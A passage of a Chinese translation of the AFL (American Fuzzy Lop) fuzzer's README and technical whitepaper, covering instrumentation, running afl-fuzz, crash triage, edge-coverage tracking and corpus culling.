。它使用修改后的边覆盖率,轻松地获取程序控制流程的细微局部变化。<br>简化一下,整体算法可以概括为:</p><ul><li>1将用户提供的初始测试用例加载到队列中</li><li>2从队列中获取下一个输入文件</li><li>3尝试将测试用例修剪到不会改变程序测量行为的最小尺寸</li><li>4使用平衡且经过充分研究的各种传统模糊测试策略反复改变文件</li><li>5如果任何生成的编译导致由instrumentation记录的新状态转换则将变异输出添加为队列中的新条目。</li><li>6转到2。</li></ul><p><img src="https://image.3001.net/images/20181207/1544168163_5c0a22e3eedce.jpg" width="60%" div align="center/"></p><p>发现的测试用例也会定期被淘汰以消除那些被更新更高覆盖率的发现所淘汰的测试用例。并经历其他几个插桩驱动instrumentation-driven的努力最小化步骤。<br>作为模糊测试过程的一个副作用,该工具创建了一个小型,独立的有趣测试用例集。这些对于播种其他劳动力或资源密集型测试方案非常有用 - 例如,用于压力测试浏览器,办公应用程序,图形套件或闭源工具。<br>该模糊器经过全面测试,可提供远远优于盲目模糊或仅覆盖工具的开箱即用性能。</p><h2 id="3用于AFL的插桩instrumentation程序"><a href="#3用于AFL的插桩instrumentation程序" class="headerlink" title="3用于AFL的插桩instrumentation程序"></a>3用于AFL的插桩instrumentation程序</h2><p>当源代码可用时,可以通过配套工具 <strong>注入instrumentation</strong> 该工具可作为第三方代码的任何标准构建过程中gcc或clang的替代品。<br>instrumentation具有相当适度的性能影响;与afl-fuzz实现的其他优化相结合大多数程序可以像传统工具一样快速或甚至更快地进行模糊测试。</p><p><strong>重新编译目标程序</strong> 的正确方法可能会有所不同,具体取决于构建过程的具体情况,但几乎通用的方法是:<br><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$ </span>CC = <span class="regexp">/path/to</span><span class="regexp">/afl/afl</span>-gcc ./configure</span><br><span class="line"><span class="variable">$ </span>make clean all</span><br><span class="line">对于C ++程序您还需要将CXX = <span class="regexp">/ path /</span>设置为/ afl / afl g ++。</span><br></pre></td></tr></table></figure></p><p>clang组件afl-clang和afl-clang ++)可以以相同的方式使用; clang用户也可以选择利用更高性能的检测模式如llvm_mode / README.llvm中所述。</p><p>在测试库时您需要查找或编写一个简单的程序该程序从stdin或文件中读取数据并将其传递给测试的库。在这种情况下必须 <strong>将此可执行文件与已检测库的静态版本相链接</strong> ,或者确保在运行时加载正确的.so文件通常通过设置LD_LIBRARY_PATH。最简单的选项是 <strong>静态构建</strong> ,通常可以通过以下方式实现:<br><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$ </span>CC = <span class="regexp">/path/to</span><span class="regexp">/afl/afl</span>-gcc ./configure --disable-shared</span><br></pre></td></tr></table></figure></p><p>调用<code>make</code>时设置AFL_HARDEN = 1将导致CC组件自动启用代码强化选项以便更容易检测到简单的内存错误。 LibdislocatorAFL附带的帮助程序库请参阅libdislocator / README.dislocator也可以帮助发现堆损坏问题。<br>PS。建议ASAN用户查看notes_for_asan.txt文件以获取重要警告。</p><h2 id="4检测仅二进制应用程序"><a href="#4检测仅二进制应用程序" class="headerlink" title="4检测仅二进制应用程序"></a>4检测仅二进制应用程序</h2><p>当源代码为不可得时afl为黑盒二进制文件的快速、即时检测提供实验支持。 这是通过在较不为人知的“用户空间仿真”模式下运行的QEMU版本来实现的。<br>QEMU是一个独立于AFL的项目但您可以通过以下方式方便地构建该功能<br><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> qemu_mode</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> ./build_qemu_support.sh</span></span><br></pre></td></tr></table></figure></p><p>有关其他说明和注意事项请参阅qemu_mode / README.qemu。<br>该模式比编译时插桩instrumentation慢约2-5倍对并行化的兼容较差并且可能有一些其他的不同。</p><h2 id="5选择初始测试用例"><a href="#5选择初始测试用例" class="headerlink" title="5选择初始测试用例"></a>5选择初始测试用例</h2><p>为了正确操作,模糊器需要一个或多个起始文件,其中包含目标应用程序通常所需的输入数据的良好示例。 有两个基本规则:</p><blockquote><p>测试用例足够小。 1 kB以下是理想的尽管不是绝对必要的。 有关大小重要性的讨论请参阅perf_tips.txt。</p><p>只有在功能上彼此不同时才使用多个测试用例。 使用五十张不同的度假照片来模糊图像库是没有意义的。<br>您可以在此工具附带的<code>testcases/子目录</code>中找到许多启动文件的好例子。<br>PS。 如果有大量数据可用于筛选,您可能希望使用<code>afl-cmin</code>实用程序来识别在目标二进制文件中使用不同代码路径的功能不同的文件的子集。</p></blockquote><h2 id="6模糊测试二进制文件"><a href="#6模糊测试二进制文件" class="headerlink" title="6模糊测试二进制文件"></a>6模糊测试二进制文件</h2><p>测试过程本身由afl-fuzz实用程序执行。该程序需要一个带有初始测试用例的只读目录一个存储其输出结果的独立位置以及要测试的二进制文件的路径。<br>对于直接从 <strong>stdin</strong> 接受输入的目标二进制文件,通常的语法是:<br><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="string">./afl-fuzz</span> -i testcase_dir -o findings_dir <span class="string">/path/to/program</span> [<span class="string">...</span> params <span class="string">...</span>]</span><br></pre></td></tr></table></figure></p><p>对于从 <strong>文件</strong> 中获取输入的程序,使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您:<br><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ .<span class="regexp">/afl-fuzz -i testcase_dir -o findings_dir /</span>path<span class="regexp">/to/</span>program @@</span><br></pre></td></tr></table></figure></p><p>您还可以使用-f选项将变异数据写入特定文件。如果程序需要特定的文件扩展名那么这很有用。<br>非插桩二进制文件可以在QEMU模式下在命令行中添加-Q或在传统的盲目模糊模式指定-n中进行模糊测试。<br>您可以使用-t和-m覆盖已执行进程的默认超时和内存限制;<br>perf_tips.txt中讨论了优化模糊测试性能的技巧。</p><p>请注意afl-fuzz首先执行一系列确定性模糊测试步骤这可能需要几天时间但往往会产生整齐的测试用例。如果你想要快速结果 - 类似于zzuf和其他传统的模糊器 - 在命令行中添加-d选项。</p><h2 id="7解释输出"><a href="#7解释输出" class="headerlink" title="7解释输出"></a>7解释输出</h2><p>有关如何解释显示的统计信息以及监视进程运行状况的信息,请参阅<code>status_screen.txt</code>文件。请务必查阅此文件尤其是如果任何UI元素以红色突出显示。<br>模糊过程将持续到按<code>Ctrl-C</code>为止。至少,您希望允许模糊器完成一个队列周期,这可能需要几个小时到一周左右的时间。<br>在输出目录中创建了三个子目录并实时更新:</p><ul><li>队列queue/ - 测试每个独特执行路径的案例以及用户提供的所有起始文件。这是第2节中提到的合成语料库。在将此语料库用于任何其他目的之前您可以使用afl-cmin工具将其缩小到较小的大小。该工具将找到一个较小的文件子集提供相同的边缘覆盖。</li><li>崩溃crash/ - 导致被测程序接收致命信号的独特测试用例例如SIGSEGVSIGILLSIGABRT。条目按接收信号分组。</li><li>挂起hang/ - 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值但这很少是必需的。崩溃和挂起被视为“唯一” “如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误,那么在此过程中会有一些计数通货膨胀,但这应该会迅速逐渐减少。</li></ul><p>崩溃和挂起的文件名与父、非错误的队列条目相关联。这应该有助于调试。<br>如果无法重现 <strong>afl-fuzz</strong> 发现的崩溃,最可能的原因是您没有设置与工具使用的内存限制相同的内存限制。尝试:<br><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$ </span>LIMIT_MB = <span class="number">50</span></span><br><span class="line"><span class="variable">$</span>ulimit -Sv <span class="variable">$ </span>[LIMIT_MB &lt;&lt; <span class="number">10</span>]; <span class="regexp">/path/to</span><span class="regexp">/tested_binary ...</span></span><br></pre></td></tr></table></figure></p><p>更改LIMIT_MB以匹配传递给afl-fuzz的-m参数。在OpenBSD上也将-Sv更改为-Sd。任何现有的输出目录也可用于恢复中止的作业;<br>尝试:<code>$ ./afl-fuzz -i-o_ existing_output_dir [...etc...]</code><br>如果安装了gnuplot您还可以使用afl-plot为任何活动的模糊测试任务生成一些漂亮的图形。有关如何显示的示例请参阅 <a href="http://lcamtuf.coredump.cx/afl/plot/" target="_blank" rel="noopener">http://lcamtuf.coredump.cx/afl/plot/</a> 。</p><h2 id="8并行模糊测试"><a href="#8并行模糊测试" class="headerlink" title="8并行模糊测试"></a>8并行模糊测试</h2><p>每个afl-fuzz的实例大约占用一个核。 这意味着在多核系统上,并行化是充分利用硬件所必需的。<br>有关如何在多个核心或多个联网计算机上模糊常见目标的提示,请参阅<code>parallel_fuzzing.txt</code>。<br><strong><em>并行模糊测试模式</em></strong> 还提供了一种简单的方法用于将AFL连接到其他模糊器动态符号执行concrete and symbolic concolic execution引擎等等; 再次,请参阅 <code>parallel_fuzzing.txt</code>的最后一节以获取提示。</p><h2 id="9Fuzzer词典"><a href="#9Fuzzer词典" class="headerlink" title="9Fuzzer词典"></a>9Fuzzer词典</h2><p>默认情况下afl-fuzz变异引擎针对紧凑数据格式进行了优化 - 例如图像多媒体压缩数据正则表达式语法或shell脚本。它有点不太适合具有特别冗长和冗余的语言的语言 - 特别是包括HTMLSQL或JavaScript。<br>为了避免构建语法感知工具的麻烦afl-fuzz提供了一种方法使用与目标数据类型相关联的其他特殊标记的语言关键字魔术头或可选字典为模糊测试过程设定种子并使用它来重建底层随时随地的语法<a href="http://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html" target="_blank" rel="noopener">http://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html</a><br>要使用此功能,首先需要使用<code>dictionaries/README.dictionaries</code>中讨论的两种格式之一创建字典;然后通过命令行中的-x选项将模糊器指向它。该子目录中也已提供了几个常用字典。<br>没有办法提供基础语法的更多结构化描述但模糊器可能会根据instrumentation反馈单独找出一些。这实际上在实践中有效比如说<br><a href="http://lcamtuf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html" target="_blank" rel="noopener">http://lcamtuf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html</a><br>PS。即使没有给出明确的字典afl-fuzz也会尝试通过在确定性字节翻转期间非常接近地观察instrumentation来提取输入语料库中的现有语法标记。这适用于某些类型的解析器和语法但不如-x模式好。<br>如果字典真的很难找到另一个选择是让AFL运行一段时间然后使用作为AFL伴随实用程序的令牌捕获库。为此请参阅<code>libtokencap/README.tokencap</code>。</p><h2 id="10崩溃分类"><a href="#10崩溃分类" class="headerlink" title="10崩溃分类"></a>10崩溃分类</h2><p>基于coverage的崩溃分组通常会生成一个小型数据集可以手动或使用非常简单的GDB或Valgrind脚本快速进行分类。每次崩溃都可以追溯到队列中的父级非崩溃测试用例从而更容易诊断故障。<br>话虽如此重要的是要承认如果没有大量的调试和代码分析工作一些模糊的崩溃很难快速评估可利用性。为了帮助完成这项任务afl-fuzz支持使用-C标志启用的非常独特的“崩溃探索”模式。<br>在此模式下,模糊器将一个或多个崩溃测试用例作为输入,并使用其反馈驱动的模糊测试策略,非常快速地枚举程序中可以达到的所有代码路径,同时使其保持在崩溃状态。<br><strong><em>不会导致崩溃的变异会被拒绝;任何不影响执行路径的更改也是如此。</em></strong><br>输出是一个小文件集,可以非常快速地检查以查看攻击者对错误地址的控制程度,或者是否有可能超过初始越界读取,并查看下面的内容。</p><p>哦,还有一件事:对于测试用例最小化,请尝试<code>afl-tmin</code>。该工具可以以非常简单的方式操作:<br><code>$ ./afl-tmin -i test_case -o minimize_result - /path/to/program [...]</code></p><p>该工具适用于崩溃和非崩溃的测试用例。在崩溃模式下,它将很乐意接受 instrumented 和 non-instrumented 的二进制文件。在非崩溃模式下最小化器依赖于标准AFL检测来使文件更简单而不改变执行路径。minimizer与afl-fuzz兼容的方式接受-m-t-f和@@语法。如果指定了参数-x即crash mode会把导致程序非正常退出的文件直接剔除。</p><p>AFL的另一个新成员是afl-analyze工具。需要输入文件尝试按顺序翻转字节并观察测试程序的行为。然后根据哪些部分看起来是关键的哪些部分不是关键的对输入进行颜色编码;虽然不是万能,但它通常可以提供对复杂文件格式的快速见解。有关其操作的更多信息可以在<code>technical_details.txt</code>的末尾找到。</p><h2 id="11超越崩溃"><a href="#11超越崩溃" class="headerlink" title="11超越崩溃"></a>11超越崩溃</h2><p>模糊测试是一种很好的未充分利用的技术用于发现非崩溃的设计和实现错误。通过修改目标程序调用abort()时发现了一些有趣的错误,比如:</p><ul><li>当给出相同的模糊输入时两个bignum库产生不同的输出</li><li>当要求连续多次解码相同的输入图像时,图像库会产生不同的输出,</li><li>在对模糊提供的数据进行迭代序列化和反序列化时,序列化/反序列化库无法生成稳定的输出,</li><li>当要求压缩然后解压缩特定blob时压缩库会生成与输入文件不一致的输出。实施这些或类似的健全性检查通常只需要很少的时间;如果你是特定包的维护者,你可以使用#ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION一个也与libfuzzer共享的标志或#ifdef __AFL_COMPILER这个只适用于AFL来使这个代码成为条件。</li></ul><h2 id="12常识性风险"><a href="#12常识性风险" class="headerlink" title="12常识性风险"></a>12常识性风险</h2><p>请记住,与许多其他计算密集型任务类似,模糊测试可能会给您的硬件和操作系统带来压力。特别是:</p><ul><li>你的CPU会很热需要充分冷却。在大多数情况下如果冷却不足或停止正常工作CPU速度将自动受到限制。也就是说尤其是在不太合适的硬件笔记本电脑智能手机等上进行模糊测试时某些事情并非完全不可能爆发。</li><li>有针对性的程序可能最终不正常地抓取千兆字节的内存或用垃圾文件填满磁盘空间。 AFL试图强制执行基本的内存限制但不能阻止每一个可能的事故。最重要的是您不应该对数据丢失前景不可接受的系统进行模糊测试。</li><li>模糊测试涉及数十亿次对文件系统的读写操作。在现代系统中这通常会被高度缓存导致相当适度的“物理”I/O - 但是有许多因素可能会改变这个等式。您有责任监控潜在的问题; I / O非常繁重许多HDD和SSD的使用寿命可能会缩短。监视Linux上磁盘I/O的一种好方法是iostat命令<code>$ iostat -d 3 -x -k [...可选磁盘ID ...]</code></li></ul><h2 id="13已知的限制和需要改进的领域"><a href="#13已知的限制和需要改进的领域" class="headerlink" title="13已知的限制和需要改进的领域"></a><strong>13已知的限制和需要改进的领域</strong></h2><p>以下是AFL的一些最重要的警告</p><ul><li>AFL通过检查由于信号SIGSEGVSIGABRT等而导致的第一个衍生过程死亡来检测故障。为这些信号安装自定义处理程序的程序可能需要注释掉相关代码。同样由模糊目标产生的子处理中的故障可能会逃避检测除非您手动添加一些代码来捕获它。</li><li>与任何其他强力工具一样如果使用加密校验和加密签名或压缩来完全包装要测试的实际数据格式则模糊器提供有限的覆盖范围。要解决这个问题你可以注释掉相关的检查参见experimental / libpng_no_checksum /获取灵感);如果这是不可能的你也可以编写一个后处理器如experimental / post_library /中所述。</li><li>ASAN和64位二进制文件存在一些不幸的权衡。这不是因为任何特定的模糊错误;请参阅notes_for_asan.txt以获取提示。</li><li>没有直接支持模糊网络服务后台守护程序或需要UI交互才能工作的交互式应用程序。您可能需要进行简单的代码更改以使它们以更传统的方式运行。 Preeny也可以提供一个相对简单的选项 - 请参阅:<a href="https://github.com/zardus/preeny" target="_blank" rel="noopener">https://github.com/zardus/preeny</a><br>有关修改基于网络的服务的一些有用提示也可以在以下位置找到:<br><a href="https://www.fastly.com/blog/how-to-fuzz-server-american-fuzzy-lop" target="_blank" rel="noopener">https://www.fastly.com/blog/how-to-fuzz-server-american-fuzzy-lop</a></li><li>AFL不输出人类可读的覆盖数据。如果你想监控覆盖请使用Michael Rash的afl-covhttps//github.com/mrash/afl-cov</li><li>偶尔,敏感的机器会对抗他们的创造者。如果您遇到这种情况,请访问<a href="http://lcamtuf.coredump.cx/prep/。除此之外,请参阅安装以获取特定于平台的提示。" target="_blank" rel="noopener">http://lcamtuf.coredump.cx/prep/。除此之外,请参阅安装以获取特定于平台的提示。</a></li></ul><hr><h1 id="0x05-afl-fuzz白皮书"><a href="#0x05-afl-fuzz白皮书" class="headerlink" title="0x05 afl-fuzz白皮书"></a>0x05 <a href="http://lcamtuf.coredump.cx/afl/technical_details.txt" target="_blank" rel="noopener">afl-fuzz白皮书</a></h1><p>本文档提供了American Fuzzy Lop的简单的概述。想了解一般的使用说明请参见 <code>README</code> 。想了解AFL背后的动机和设计目标请参见 <a href="http://lcamtuf.coredump.cx/afl/historical_notes.txt" target="_blank" rel="noopener">historical_notes.txt</a>。</p><h2 id="0设计说明-Design-statement"><a href="#0设计说明-Design-statement" class="headerlink" title="0设计说明(Design statement)"></a>0设计说明(Design statement)</h2><p>American Fuzzy Lop 不关注任何单一的操作规则(singular principle of operation),也不是一个针对任何特定理论的概念验证(proof of concept)。这个工具可以被认为是一系列在实践中测试过的hacks行为我们发现这个工具惊人的有效。我们用目前最simple且最robust的方法实现了这个工具。<br>唯一的设计宗旨在于速度、可靠性和易用性。</p><h2 id="1覆盖率计算-Coverage-measurements"><a href="#1覆盖率计算-Coverage-measurements" class="headerlink" title="1覆盖率计算(Coverage measurements)"></a>1覆盖率计算(Coverage measurements)</h2><p>在编译过的程序中插桩能够捕获分支(边缘)的覆盖率,并且还能检测到粗略的分支执行命中次数(branch-taken hit counts)。在分支点注入的代码大致如下:</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cur_location = &lt;COMPILE_TIME_RANDOM&gt;; <span class="regexp">//</span>用一个随机数标记当前基本块</span><br><span class="line">shared_mem[cur_location ^ prev_location]++; <span class="regexp">//</span>将当前块和前一块异或保存到shared_mem[]</span><br><span class="line">prev_location = cur_location <span class="meta">&gt;&gt; </span><span class="number">1</span>; <span class="regexp">//cur</span>_location右移<span class="number">1</span>位区分从当前块到当前块的转跳</span><br></pre></td></tr></table></figure><p>cur_location 的值是随机产生的为的是简化连接复杂对象的过程和保持XOR输出分布是均匀的。<br>shared_mem[] 数组是一个调用者 (caller) 传给被插桩的二进制程序的64kB的共享空间。其中的每一字节可以理解成对于插桩代码中特别的元组(branch_src, branch_dst)的一次命中hit。<br>选择这个数组大小的原因是让冲突(collisions)尽可能减少。这样通常能处理2k到10k的分支点。同时它的大小也足以使输出图能在接受端达到毫秒级的分析。</p><table><thead><tr><th>Branch cnt</th><th>Colliding tuples</th><th>Example targets</th></tr></thead><tbody><tr><td>1,000</td><td>0.75%</td><td>giflib, lzo</td></tr><tr><td>2,000</td><td>1.5%</td><td>zlib, tar, xz</td></tr><tr><td>5,000</td><td>3.5%</td><td>libpng, libwebp</td></tr><tr><td>10,000</td><td>7%</td><td>libxml</td></tr><tr><td>20,000</td><td>14%</td><td>sqlite</td></tr><tr><td>50,000</td><td>30%</td><td>-</td></tr></tbody></table><p>这种形式的覆盖率,相对于简单的基本块覆盖率来说,对程序运行路径提供了一个更好的描述(insight)。特别地,它能很好地区分以下两个执行路径:</p><blockquote><p> A -&gt; B -&gt; C -&gt; D -&gt; E (tuples: AB, BC, CD, DE)<br> A -&gt; B -&gt; D -&gt; C -&gt; E (tuples: AB, BD, DC, CE)</p></blockquote><p>这有助于发现底层代码的微小错误条件。因为 <strong>安全漏洞通常是一些非预期(或不正确)的语句转移(一个tuple就是一个语句转移)</strong> ,而不是没覆盖到某块代码。<br>上边伪代码的最后一行移位操作是为了让tuple具有定向性(没有这一行的话A^B和B^A就没区别了同样A^A和B^B也没区别了)。采用右移的原因跟Intel CPU的一些特性有关。</p><h2 id="2发现新路径-Detecting-new-behaviors"><a href="#2发现新路径-Detecting-new-behaviors" class="headerlink" title="2发现新路径(Detecting new behaviors)"></a>2发现新路径(Detecting new behaviors)</h2><p>AFL的fuzzers使用一个<strong>全局Map</strong>来存储之前执行时看到的tuple。这些数据可以被用来对不同的trace进行快速对比从而可以计算出是否新执行了一个dword指令/一个qword-wide指令/一个简单的循环。<br>当一个变异的输入产生了一个包含新tuple的执行路径时对应的输入文件就被保存然后被发送到下一过程(见第3部分)。对于那些没有产生新路径的输入就算他们的instrumentation输出模式是不同的也会被抛弃掉。<br>这种算法考虑了一个非常细粒度的、长期的对程序状态的探索,同时它还不必执行复杂的计算,不必对整个复杂的执行流进行对比,也避免了路径爆炸的影响。<br>为了说明这个算法是怎么工作的考虑下面的两个路径第二个路径出现了新的tuples(CA, AE):<br><figure class="highlight clean"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#<span class="number">1</span>: A -&gt; B -&gt; C -&gt; D -&gt; E</span><br><span class="line">#<span class="number">2</span>: A -&gt; B -&gt; C -&gt; A -&gt; E</span><br></pre></td></tr></table></figure></p><p>因为#2的原因以下的路径就不认为是不同的路径了尽管看起来非常不同<br><code>#3: A -&gt; B -&gt; C -&gt; A -&gt; B -&gt; C -&gt; A -&gt; B -&gt; C -&gt; D -&gt; E</code></p><p>除了检测新的tuple之外AFL的fuzzer也会粗略地记录tuple的<strong>命中数(hit counts)</strong>。这些被分割成几个buckets1, 2, 3, 4-7, 8-15, 16-31, 32-127, 128+</p><p>从某种意义来说buckets里边的数目是有实际意义的它是一个8-bit counter和一个8-position bitmap的映射。8-bit counter是由桩生成的8-position bitmap则依赖于每个fuzzer记录的已执行的tuple的命中数。<br>单个bucket的改变会被忽略掉: 在程序控制流中bucket的转换会被标记成一个interesting change传入evolutionary(见第三部分)进行处理。<br>通过命中次数(hit count),我们能够分辨控制流是否发生变化。例如一个代码块被执行了两次,但只命中了一次。并且这种方法对循环的次数不敏感(循环47次和48次没区别)。<br>这种算法通过限制内存和运行时间来保证效率。</p><p>另外算法通过设置执行超时来避免效率过低的fuzz。从而进一步发现效率比较高的fuzz方式。</p><h2 id="3输入队列的进化-Evolving-the-input-queue"><a href="#3输入队列的进化-Evolving-the-input-queue" class="headerlink" title="3输入队列的进化(Evolving the input queue)"></a>3输入队列的进化(Evolving the input queue)</h2><p>经变异的测试用例,会使程序产生 <strong><em>新的状态转移</em></strong> 。这些测试用例稍后被添加到 input 队列中,用作下一个 fuzz 循环。它们补充但不替换现有的发现。<br>这种算法允许工具可以持续探索不同的代码路径,即使底层的数据格式可能是完全不同的。如下图:<br><img src="http://lcamtuf.coredump.cx/afl/afl_gzip.png" width="60%" div align="center/"></p><p>这里有一些这种算法在实际情况下例子:</p><p><a href="https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html" target="_blank" rel="noopener">pulling-jpegs-out-of-thin-air</a></p><p><a href="http://lcamtuf.blogspot.com/2014/11/afl-fuzz-nobody-expects-cdata-sections.html" target="_blank" rel="noopener">afl-fuzz-nobody-expects-cdata-sections</a></p><p>这种过程下产生的语料库基本上是这些输入文件的集合:它们都能触发一些新的执行路径。产生的语料库,可以被用来作为其他测试的种子。<br>使用这种方法大多数目标程序的队列会增加到大概1k到10k个entry。大约有10-30%归功于对新tupe的发现剩下的和hit counts改变有关。<br>下表比较了不同 fuzzing 方法在发现文件句法(file syntax)和探索程序执行路径的能力。插桩的目标程序是 <code>GNU patch 2.7.3 compiled with -O3 and seeded with a dummy text file:</code></p><table><thead><tr><th>Fuzzer guidance strategy used</th><th>Blocks reached</th><th>Edges reached</th><th>Edge hit cnt var</th><th>Highest-coverage test case generated</th></tr></thead><tbody><tr><td>(Initial file)</td><td>156</td><td>163</td><td>1.00</td><td>(none)</td></tr><tr><td>Blind fuzzing S</td><td>182</td><td>205</td><td>2.23</td><td>First 2 B of RCS diff</td></tr><tr><td>Blind fuzzing L</td><td>228</td><td>265</td><td>2.23</td><td>First 4 B of -c mode diff</td></tr><tr><td>Block coverage</td><td>855</td><td>1,130</td><td>1.57</td><td>Almost-valid RCS diff</td></tr><tr><td>Edge coverage</td><td>1,452</td><td>2,070</td><td>2.18</td><td>One-chunk -c mode diff</td></tr><tr><td>AFL model</td><td>1,765</td><td>2,597</td><td>4.99</td><td>Four-chunk -c mode diff</td></tr></tbody></table><p>第一行的blind fuzzing (“S”)代表仅仅执行了一个回合的测试。<br>第二行的Blind fuzzing L表示在一个循环中执行了几个回合的测试但是没有进行改进。和插桩运行相比需要更多时间全面处理增长队列。</p><p>在另一个独立的实验中也取得了大致相似的结果。在新实验中fuzzer被修改成所有随机fuzzing 策略,只留下一系列基本、连续的操作,例如位反转(bit flips)。因为这种模式mode将不能改变输入文件的的大小会话使用一个合法的合并格式unified diff作为种子。</p><table><thead><tr><th>Queue extension strategy used</th><th>Blocks reached</th><th>Edges reached</th><th>Edge hit cnt var</th><th>Number of unique crashes found</th></tr></thead><tbody><tr><td>(Initial file)</td><td>624</td><td>717</td><td>1.00</td><td>-</td></tr><tr><td>Blind fuzzing</td><td>1,101</td><td>1,409</td><td>1.60</td><td>0</td></tr><tr><td>Block coverage</td><td>1,255</td><td>1,649</td><td>1.48</td><td>0</td></tr><tr><td>Edge coverage</td><td>1,259</td><td>1,734</td><td>1.72</td><td>0</td></tr><tr><td>AFL model</td><td>1,452</td><td>2,040</td><td>3.16</td><td>1</td></tr></tbody></table><p>在之前提到的基于遗传算法的fuzzing是通过一个test case的进化(这里指的是用遗传算法进行变异)来实现最大覆盖。在上述实验看来,这种“贪婪”的方法似乎没有为盲目的模糊策略带来实质性的好处。</p><h2 id="4语料筛选Culling-the-corpus"><a href="#4语料筛选Culling-the-corpus" class="headerlink" title="4语料筛选Culling the corpus"></a>4语料筛选Culling the corpus</h2><p>上文提到的渐进式语句探索路径的方法意味着假设A和B是测试用例(test cases)且B是由A变异产生的。那么测试用例B达到的边缘覆盖率(edge coverage)是测试用例A达到的边缘覆盖率的严格超集(superset)。<br>为了优化fuzzingAFL会用一个快速算法<strong>周期性的重新评估</strong>(re-evaluates)队列这种算法会选择队列的一个更小的子集并且这个子集仍能覆盖所有的tuple。算法的这个特性对这个工具特别有利(favorable)。<br>算法通过指定每一个队列入口(queue entry)根据执行时延execution latency和文件大小分配一个分值比例score proportional。然后为每一个tuple选择<strong>最低分值的entry</strong>。<br>这些tuples按下述流程进行处理</p><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>) Find next tuple <span class="keyword">not</span> yet <span class="keyword">in</span> <span class="keyword">the</span> temporary working <span class="keyword">set</span>,</span><br><span class="line"></span><br><span class="line"><span class="number">2</span>) Locate <span class="keyword">the</span> winning queue entry <span class="keyword">for</span> this tuple,</span><br><span class="line"></span><br><span class="line"><span class="number">3</span>) Register *all* tuples present <span class="keyword">in</span> <span class="keyword">that</span> entry's trace <span class="keyword">in</span> <span class="keyword">the</span> working <span class="keyword">set</span>,</span><br><span class="line"></span><br><span class="line"><span class="number">4</span>) Go <span class="keyword">to</span> <span class="comment">#1 if there are any missing tuples in the set.</span></span><br></pre></td></tr></table></figure><p>“favored” entries 产生的语料会比初始的数据集小5到10倍。没有被选择的也没有被扔掉而是在遇到下列对队列时以一定概率略过<br><figure class="highlight livecodeserver"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">- If there are <span class="built_in">new</span>, yet-<span class="built_in">to</span>-be-fuzzed favorites present <span class="keyword">in</span> <span class="keyword">the</span> queue,</span><br><span class="line"> <span class="number">99</span>% <span class="keyword">of</span> non-favored entries will be skipped <span class="built_in">to</span> <span class="built_in">get</span> <span class="built_in">to</span> <span class="keyword">the</span> favored ones.</span><br><span class="line"></span><br><span class="line">- If there are no <span class="built_in">new</span> favorites:</span><br><span class="line"></span><br><span class="line">- If <span class="keyword">the</span> current non-favored entry was fuzzed <span class="keyword">before</span>, <span class="keyword">it</span> will be skipped <span class="number">95</span>% <span class="keyword">of</span> <span class="keyword">the</span> <span class="built_in">time</span>.</span><br><span class="line"></span><br><span class="line">- If <span class="keyword">it</span> hasn<span class="string">'t gone through any fuzzing rounds yet, the odds of skipping drop down to 75%.</span></span><br></pre></td></tr></table></figure></p><p>基于以往的实验经验,这种方法能够在队列周期速度(queue cycling speed)和测试用例多样性(test case diversity)之间达到一个合理的平衡。<br>使用<strong>afl-cmin工具</strong>能够对输入或输出的语料库进行稍微复杂但慢得多的的处理。这一工具将永久丢弃冗余entries产生适用于afl-fuzz或者外部工具的更小的语料库。</p><h2 id="5输入文件修剪Trimming-input-files"><a href="#5输入文件修剪Trimming-input-files" class="headerlink" title="5输入文件修剪Trimming input files"></a>5输入文件修剪Trimming input files</h2><p>文件的大小对fuzzing的性能有着重大影响(dramatic impact)。因为大文件会让目标二进制文件运行变慢;大文件还会减少变异触及重要格式控制结构(format control structures)的可能性(<strong>我们希望的是变异要触及冗余代码块(redundant data blocks)</strong>)。这个问题将在<a href="https://github.com/mirrorer/afl/blob/master/docs/perf_tips.txt" target="_blank" rel="noopener">perf_tips.txt</a>细说。<br>用户可能提供低质量初始语料(starting corpus),某些类型的变异会迭代地增加生成文件的大小。所以要抑制这种趋势(counter this trend)。<br>幸运的是,<strong>插桩反馈(instrumentation feedback)</strong>提供了一种简单的方式自动削减trim down输入文件并确保这些改变能使得文件对执行路径没有影响。<br>afl-fuzz内置的修剪器(trimmer)使用变化的长度和步距(variable length and 